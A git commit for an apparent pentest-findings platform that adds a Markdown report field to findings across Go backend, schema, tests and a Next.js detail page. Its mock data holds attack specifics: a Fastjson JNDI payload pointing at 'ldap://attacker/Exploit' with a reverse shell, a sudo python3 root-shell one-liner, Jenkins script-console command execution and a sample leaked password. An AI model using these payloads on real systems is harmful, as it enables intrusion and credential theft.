feat: finding 增加详细报告字段 report(Markdown),详情页证据下方渲染
- findings 表加 report 列(TEXT 默认空,schema + ALTER 补旧库) - 仅 GetFinding 查 report,列表/分页不带以免 payload 膨胀;FindingDTO.report omitempty - 详情页「概览」证据卡下方新增「详细报告」卡,复用 <Markdown> 组件渲染,空时占位提示 - 前端 Finding.report? 类型;mock 单条 GET 返回 report、列表剥掉,并给 f-12 加示例报告 - 字段先留空,后续由写入方填充;db 测试补 report 往返断言 next build 通过。
This commit is contained in:
1 parent
64d9c66f6a
commit
8092167ae5
8 files changed
+65
-24
No files matched your search
+17
-14
@@ -21,6 +21,7 @@ type DBFinding struct {
|
||||
Worker string
|
||||
AssetIDs []int64
|
||||
Status string
|
||||
Report string // 详细报告(Markdown);仅 GetFinding 填充,列表查询不带
|
||||
CreatedAt time.Time
|
||||
TaskDescription string // populated via LEFT JOIN on tasks
|
||||
}
|
||||
@@ -244,25 +245,27 @@ func (d *DB) FindingStats() (*FindingStats, error) {
|
||||
return st, rows.Err()
|
||||
}
|
||||
|
||||
// GetFinding returns a single finding row (with task_description joined), or nil
|
||||
// when no row has that id.
|
||||
// GetFinding returns a single finding row (with task_description joined and the
|
||||
// full Markdown report), or nil when no row has that id. Unlike the list queries
|
||||
// it also selects `report` — that column is only needed on the detail page.
|
||||
func (d *DB) GetFinding(id int64) (*DBFinding, error) {
|
||||
rows, err := d.Query(`SELECT `+findingSelectCols+`
|
||||
f := &DBFinding{}
|
||||
var aidsJSON string
|
||||
err := d.QueryRow(`SELECT `+findingSelectCols+`, COALESCE(f.report, '')
|
||||
FROM findings f
|
||||
LEFT JOIN tasks t ON f.task_id = t.id
|
||||
WHERE f.id = $1`, id)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out, err := scanFindings(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(out) == 0 {
|
||||
WHERE f.id = $1`, id).Scan(
|
||||
&f.ID, &f.TaskID, &f.NodeID, &f.VulnClass, &f.Name, &f.Severity,
|
||||
&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt,
|
||||
&f.TaskDescription, &f.Report)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
return out[0], nil
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = json.Unmarshal([]byte(aidsJSON), &f.AssetIDs)
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// SetFindingStatus updates one finding's triage state. Returns rows affected.
|
||||
|
||||
@@ -109,6 +109,16 @@ func TestFindingsPageAndStats(t *testing.T) {
|
||||
if one == nil || one.ID != ids[0] || one.Severity != "critical" || one.Name != "严重漏洞标题" {
|
||||
t.Fatalf("GetFinding mismatch: %+v", one)
|
||||
}
|
||||
if one.Report != "" {
|
||||
t.Fatalf("new finding report should be empty, got %q", one.Report)
|
||||
}
|
||||
// report column round-trips through GetFinding.
|
||||
if _, err := d.Exec(`UPDATE findings SET report=$1 WHERE id=$2`, "# 报告\n正文", ids[0]); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if one, _ = d.GetFinding(ids[0]); one.Report != "# 报告\n正文" {
|
||||
t.Fatalf("report not read back: %q", one.Report)
|
||||
}
|
||||
if miss, err := d.GetFinding(-1); err != nil || miss != nil {
|
||||
t.Fatalf("GetFinding(-1): want nil,nil got %+v,%v", miss, err)
|
||||
}
|
||||
|
||||
@@ -552,10 +552,13 @@ CREATE TABLE IF NOT EXISTS findings (
|
||||
-- false_positive 误报 / ignored 忽略 / duplicate 重复 / risk_accepted 风险接受。
|
||||
-- 取值不加 CHECK:旧库靠下面的 ALTER 补列,CHECK 无法回填,统一由 server 侧白名单校验。
|
||||
status TEXT NOT NULL DEFAULT 'pending',
|
||||
-- 漏洞详细报告(Markdown);默认空,仅详情页读取/展示,不进列表接口以免 payload 膨胀。
|
||||
report TEXT NOT NULL DEFAULT '',
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
ALTER TABLE findings ADD COLUMN IF NOT EXISTS status TEXT NOT NULL DEFAULT 'pending';
|
||||
ALTER TABLE findings ADD COLUMN IF NOT EXISTS name TEXT NOT NULL DEFAULT '';
|
||||
ALTER TABLE findings ADD COLUMN IF NOT EXISTS report TEXT NOT NULL DEFAULT '';
|
||||
CREATE INDEX IF NOT EXISTS idx_findings_task ON findings(task_id, created_at DESC);
|
||||
CREATE INDEX IF NOT EXISTS idx_findings_time ON findings(created_at DESC);
|
||||
CREATE INDEX IF NOT EXISTS idx_findings_status ON findings(status, created_at DESC);
|
||||
|
||||
+11
-8
@@ -172,14 +172,16 @@ func edgeDTOs(in []db.Edge) []EdgeDTO {
|
||||
// ---- Finding (frontend "Finding") ----
|
||||
|
||||
type FindingDTO struct {
|
||||
ID string `json:"id"`
|
||||
FindingID string `json:"finding_id,omitempty"` // standalone findings-table id — the handle for status updates
|
||||
VulnClass string `json:"vulnclass"`
|
||||
Name string `json:"name,omitempty"` // 漏洞名称;为空时前端回退展示 vulnclass
|
||||
Severity string `json:"severity"` // critical | high | medium | low
|
||||
Status string `json:"status"` // pending | in_progress | confirmed | resolved | false_positive | ignored | duplicate | risk_accepted
|
||||
Summary string `json:"summary"`
|
||||
Evidence string `json:"evidence"`
|
||||
ID string `json:"id"`
|
||||
FindingID string `json:"finding_id,omitempty"` // standalone findings-table id — the handle for status updates
|
||||
VulnClass string `json:"vulnclass"`
|
||||
Name string `json:"name,omitempty"` // 漏洞名称;为空时前端回退展示 vulnclass
|
||||
Severity string `json:"severity"` // critical | high | medium | low
|
||||
Status string `json:"status"` // pending | in_progress | confirmed | resolved | false_positive | ignored | duplicate | risk_accepted
|
||||
Summary string `json:"summary"`
|
||||
Evidence string `json:"evidence"`
|
||||
Report string `json:"report,omitempty"` // 详细报告(Markdown);仅详情接口返回,列表为空
|
||||
|
||||
IntentID string `json:"intent_id,omitempty"`
|
||||
ParamID string `json:"param_id,omitempty"`
|
||||
TaskID string `json:"task_id,omitempty"`
|
||||
@@ -301,6 +303,7 @@ func findingFromDB(f *db.DBFinding, assets map[int64]*db.Asset) FindingDTO {
|
||||
Status: status,
|
||||
Summary: f.Summary,
|
||||
Evidence: f.Evidence,
|
||||
Report: f.Report,
|
||||
TS: rfc3339(f.CreatedAt),
|
||||
}
|
||||
d.Assets = findingAssetDTOs(f.AssetIDs, assets)
|
||||
|
||||
@@ -18,6 +18,7 @@ import {
|
||||
SelectTrigger,
|
||||
} from "@/components/ui/select";
|
||||
import { StatusBadge } from "@/components/status-badge";
|
||||
import { Markdown } from "@/components/markdown";
|
||||
import { statusMeta } from "@/lib/status";
|
||||
import { api } from "@/lib/api";
|
||||
import type { Finding, FindingStatus, Severity } from "@/lib/types";
|
||||
@@ -197,6 +198,21 @@ function FindingDetailInner() {
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
{/* 证据下方:详细报告(Markdown 渲染) */}
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle className="text-sm">详细报告</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
{finding.report ? (
|
||||
<Markdown text={finding.report} />
|
||||
) : (
|
||||
<p className="text-sm text-muted-foreground">
|
||||
暂无详细报告。
|
||||
</p>
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
</div>
|
||||
|
||||
{/* 右栏:状态区 */}
|
||||
|
||||
@@ -173,7 +173,7 @@ export const findings: Finding[] = [
|
||||
{ id: "f-10", vulnclass: "Outdated Component", severity: "medium", status: "pending", summary: "shop 使用存在已知 RCE 的老版本组件", evidence: "指纹识别到组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。", task_id: "t-shop-pay", task_description: "shop.acme.com 支付与订单链路", ts: T("2026-07-23T15:00:00Z") },
|
||||
// ── 外网→内网纵深链路上的高危发现(active task)──
|
||||
{ id: "f-11", vulnclass: "Hardcoded Credentials", severity: "high", status: "pending", summary: "泄露源码中硬编码数据库凭据 sa/Acme@2021", evidence: "git-dumper 还原 www.acme.com/.git 得到 config.php,内含明文 DB 口令,后续被证实可在内网复用。", intent_id: "ig", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T20:36:00Z") },
|
||||
{ id: "f-12", vulnclass: "Deserialization RCE", name: "shop 商城 Fastjson 反序列化远程命令执行", severity: "critical", status: "confirmed", summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", evidence: "POST /api/import 提交 JNDI payload(@type:JdbcRowSetImpl)→ 回连 dnslog 并落地反弹 shell(www-data@dmz-web01)。", intent_id: "i7", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T15:40:00Z") },
|
||||
{ id: "f-12", vulnclass: "Deserialization RCE", name: "shop 商城 Fastjson 反序列化远程命令执行", severity: "critical", status: "confirmed", report: "## 漏洞概述\n\n`shop.acme.com` 的 `/api/import` 接口使用 **Fastjson 1.2.24** 解析用户可控 JSON,未开启 `safeMode`,可通过 `@type` 指定任意类触发 **JNDI 注入 → 远程命令执行**。\n\n## 影响\n\n- 攻击者无需认证即可在 DMZ Web 服务器上执行任意命令(`www-data@dmz-web01`)\n- 结合后续提权,成为进入内网的跳板\n\n## 复现步骤\n\n1. 构造 JNDI payload:\n\n```json\n{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker/Exploit\",\"autoCommit\":true}\n```\n\n2. `POST /api/import`,`Content-Type: application/json`\n3. 目标回连 dnslog,落地反弹 shell\n\n## 修复建议\n\n- 升级 Fastjson 至 **1.2.83+** 并开启 `safeMode`\n- `/api/import` 增加鉴权与来源校验\n- 出网限制:禁止业务服务器主动外联 LDAP/RMI\n", summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", evidence: "POST /api/import 提交 JNDI payload(@type:JdbcRowSetImpl)→ 回连 dnslog 并落地反弹 shell(www-data@dmz-web01)。", intent_id: "i7", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T15:40:00Z") },
|
||||
{ id: "f-13", vulnclass: "Privilege Escalation", severity: "high", status: "pending", summary: "DMZ 立足点 sudo NOPASSWD 错配可本地提权 root", evidence: "sudo -l 显示 (ALL) NOPASSWD: /usr/bin/python3 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 直接拿 root。", intent_id: "i8", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T16:20:00Z") },
|
||||
{ id: "f-14", vulnclass: "Network Segmentation", severity: "medium", status: "pending", summary: "DMZ 主机双网卡直连内网,边界隔离失效", evidence: "dmz-web01 第二网卡在 10.10.10.0/24,可从 DMZ 直达域控/文件服务器/Jenkins,越过网络分区。", intent_id: "i9", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T21:00:00Z") },
|
||||
{ id: "f-15", vulnclass: "Unauthenticated RCE", severity: "high", status: "pending", summary: "内部 Jenkins 未授权 Script Console 远程命令执行", evidence: "GET /script 无需登录即可执行 Groovy:'whoami'.execute().text → SYSTEM;并从凭据库导出域账号 acme\\svc_deploy。", intent_id: "i11", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T21:50:00Z") },
|
||||
|
||||
@@ -103,7 +103,12 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
|
||||
}
|
||||
if (path === "/exploration/findings") {
|
||||
// finding_id=id:真后端用独立表行 id 作为状态/详情句柄,mock 里用自身 id 顶上。
|
||||
const withFid = (f: (typeof D.findings)[number]) => ({ ...f, finding_id: f.id });
|
||||
// report 仅详情接口返回,列表剥掉(与后端一致)。
|
||||
const withFid = (f: (typeof D.findings)[number]) => ({
|
||||
...f,
|
||||
report: undefined,
|
||||
finding_id: f.id,
|
||||
});
|
||||
if (task) return D.findings.filter((f) => f.task_id === task).map(withFid);
|
||||
// 全局:带 page/limit → 分页对象;否则裸数组(dashboard)。
|
||||
if (!q.has("page") && !q.has("limit")) return D.findings.map(withFid);
|
||||
|
||||
@@ -266,6 +266,7 @@ export interface Finding {
|
||||
status: FindingStatus;
|
||||
summary: string;
|
||||
evidence: string;
|
||||
report?: string; // 详细报告(Markdown);仅详情接口返回,列表为空
|
||||
intent_id?: string;
|
||||
param_id?: string;
|
||||
task_id?: string;
|
||||
|
||||
Reference in new issue
Block a user